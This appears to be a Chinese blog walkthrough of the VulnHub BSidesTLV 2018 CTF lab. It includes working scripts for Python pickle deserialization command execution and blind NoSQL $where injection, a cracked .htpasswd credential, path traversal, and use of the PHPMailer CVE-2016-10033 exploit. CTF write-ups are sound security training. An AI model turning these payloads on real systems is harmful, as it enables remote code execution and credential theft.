vulnhub靶场环境:BSidesTLV 2018 CTF

环境准备

1、访问https://www.vulnhub.com/entry/bsidestlv-2018-ctf,250/,下载靶场虚拟机镜像文件

2、使用Oracle VM VirtualBox导入虚拟机启动

3、获取CTF靶场环境的ip地址

4、根据官网说明,设置攻击机的HOST文件,来保证可以正常访问靶场题目

我攻击机使用的kali虚拟机,编辑HOST文件命令为:vim /etc/hosts,添加 192.168.1.5   challenges.bsidestlv.com

靶机攻略

Redirect me

1、题目地址为:http://challenges.bsidestlv.com:8081,设置好HOST文件之后,可以正常访问打开,不过会被重定向

2、重定向之后的url:http://challenges.bsidestlv.com:8081/1.html,看源码并没有什么可操作信息,但是重定向带数字的页面已经可以尝试了,所以从页面试,当访问到40.html之后出现flag提示,flag再Response包里

3、启动BP,抓取http://challenges.bsidestlv.com:8081/40.html访问的请求数据包发送出去,查看响应包,得到flag

 

 

 IH8emacs

题目地址:http://challenges.bsidestlv.com:8443

1、访问题目地址收集信息

 

源码中没什么重要线索

2、从题目名称和描述来看,需要寻找网站的备份文件,网站使用的为EMACS框架开发,使用emacs编辑文件时,它会在名称的末尾创建一个带有波浪号的备份文件

3、根据已知信息,访问http://challenges.bsidestlv.com:8443/index.php~,果然可以正常访问

 

查看源码,发现不一样的地方

 4、网站源码最下边注释处,发现了管理员登录地址为http://challenges.bsidestlv.com:8443/administrator,访问需要账号密码

5、寻找账号密码的备份文件,在http://challenges.bsidestlv.com:8443/administration/.htpasswd~ ,url中发现账号密码

6、从之前信息可以看出,账号为bsidestlv,密码需要解密,使用kali自带的jhon工具进行解密即可,将网站上的账号密码信息复制,创建一个文件名为pass的文件

 

 运行john工具,破解账号密码信息,命令为jhon /etc/pass --show,得到账号密码

bsidestlv:performa

 

 7、使用该账号密码,登录网站,获得flag

 

Creative Agency

 题目地址:http://challenges.bsidestlv.com:3333

1、查看题目描述说明,直接给出了flag所在绝对路径

 

 2、查看网站源码,发现网站源码里图片的加载路径都很奇怪

 

3、将奇怪的图片路径添加到url中进行访问,看组成是存在任意文件读取漏洞

 4、从源码文件上看,引用文件url全都是调转过来的目录来读取的

 

5、根据源码中包含图片的目录的规律,将提示的flag路径/home/bsidestlv/flag.txt,颠倒之后得到ʇxʇ˙ƃɐʃɟ/ʌʃʇsǝpısq/ǝɯoɥ/˙˙,直接访问,得到flag

 

I’m Pickle Rick!

题目地址:http://challenges.bsidestlv.com:8088

1、访问题目url,查看源码发现一段脚本

 

 

 2、整理脚本代码,总体逻辑为:

首先网站运行背景视频,当视频运行结束后执行onended属性的pickleRick()函数 pickleRick()函数继续调用anatomyParkMembers()函数,并传入参数morty anatomyParkMembers()函数拼接了URL /getMembers.html?visitor=morty,然后发送了一个GET请求到/getMembers.html?visitor=morty 调用函数statusAnatomyParkMembers() ,访问/getMembers.html?visitor=morty得到结果 eNrTSCkw5ApWL8sszizJLypW5yow4tLIKTDmCsvNLyqp5Cow4UosDlZPzS3Iya9MTQUpMAUpMANqCipNSs0DCphzJQarO%2BblZaYCORYgTkB%2BXnJGPpBnCeIF5aenFgE5hgZghTk5YF2GhkCT9QDJ4iXE

之后调用statusAnatomyParkMembers()函数,将访问/getMembers.html?visitor=morty得到的结果,传递给/statusMembers.html?data=,得到,{"visitors": ["morty"], "employees": ["Ruben", "Annie", "Poncho", "Roger", "Allen"]}

 3、使用BP抓包,发现查看每个步骤数据包头,我们可以发现使用了gzip, deflate

 4、清楚网站提交数据步骤之后,我们可以写脚本,打包命令发送给/statusMembers.html?data=,查看效果

import zlib
import requests
import base64

def create_command(cmd, args, flags):
mould = """csubprocess
check_output
(((S'{0}'
S'{1}'
S'{2}'
ltR."""

return base64.b64encode(zlib.compress(mould.format(cmd, args, flags), 9))
targeturl = 'http://challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json'
r = requests.get(targeturl.format(create_command('ls', '../', '-l')))
print '\n'.join(r.text[1:-1].split('\\n'))

5、执行脚本,发现命令顺利执行,并返回了目录结构

 6、将脚本下命令换成查看flag.txt文件的命令

r = requests.get(targeturl.format(create_command('cat', '../flag.txt', '-A')))

最终获得flag

ContactUs

题目地址:http://challenges.bsidestlv.com:8080

1、访问题目所在url

2、网站中发现发送邮件功能,猜测突破口为这里

3、查询资料发现一个漏洞编号为CVE-2016-10033,也就是PHPMailer < 5.2.18 远程代码执行漏洞,尝试利用,发现Email位置需要正确邮件格式,不过只是做了前端验证,直接在控制台修改该文本框类型为text提交即可

 

 提交之后,提示You are so close! please change the backdoor location to: /var/www/html/cache/fc5cdc4cf499.php

 4、根据提示内容修改提交的命令,过段时间之后访问cache/fc5cdc4cf499.php,得到flag

 

 NoSocket

题目地址:http://challenges.bsidestlv.com:8030/login

1、访问题目url,一个登录页面

2、按快捷键Ctrl+U查看源码

<script>
    var ws;
    var url = 'ws://' + location.hostname + ':8000/login';
    function openSocket() {
        ws = new WebSocket(url);
        ws.binaryType = 'arraybuffer'; // default is 'blob'


        ws.onopen = function() {
            console.log('open');
        };

        ws.onclose = function() {
            console.log('close');
        };

        ws.onmessage = function(e) {
            if (e.data instanceof ArrayBuffer) {
                log(decodeCharCode(new Uint8Array(e.data)));
            } else {
                log(e.data);
            }
        };

        ws.onerror = function() {
            log('error');
            closeSocket();
        };
    }

    function closeSocket() {
        log('closing');
        ws.close();
    }

    function login() {
        var data = {};  // <- initialize an object, not an array
        data["username"] = document.getElementById('username').value;
        data["password"] = document.getElementById('password').value;
        val = JSON.stringify(data); // {"username":"admin", "password": "admin"}
        // {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"}
        ws.send(val);
    }


    function decodeCharCode(data) {
        var res = '';
        for (var i = 0, len = data.length; i < len; i++) {
            var value = data[i];
            res += String.fromCharCode(value);
        }

        return res;
    }

    function log(message) {
        alert(message)
    }

    openSocket()
</script>

3、根据源码,输入账号密码为admin,admin,提示Failed

 

4、使用万能密码,' || 1 == '1,提示Success,表示绕过成功

 

 5、题目描述提示我们password就是flag,所以我们需要知道password到底是多少而不是绕过验证,先输入' || this.password[0] == 'B,确定密码开头为B

6、因为知道所有flag的格式是BSidesTLV{},那么接下来就很简单了,写个脚本发包跑出来密码即可

import string
from websocket import create_connection

def datachar(i):
    for char in string.printable:
        password = "' || this.password[%d] == '%s" % (i, char)
        data = "{\"username\":\"admin\", \"password\": \"%s\"}" % password
        ws.send(data)
        response = ws.recv()
        if "Success!" in response:
            return char

ws = create_connection("ws://challenges.bsidestlv.com:8000/login")
response = ""
for i in range(10, 30):
    if datachar(i) is None:
        break
    response += datachar(i)
    print response

print    'Flag: BSidesTLV{' + response
ws.close()

posted @ 2020-06-29 21:10  bonga  阅读(760)  评论(0编辑  收藏  举报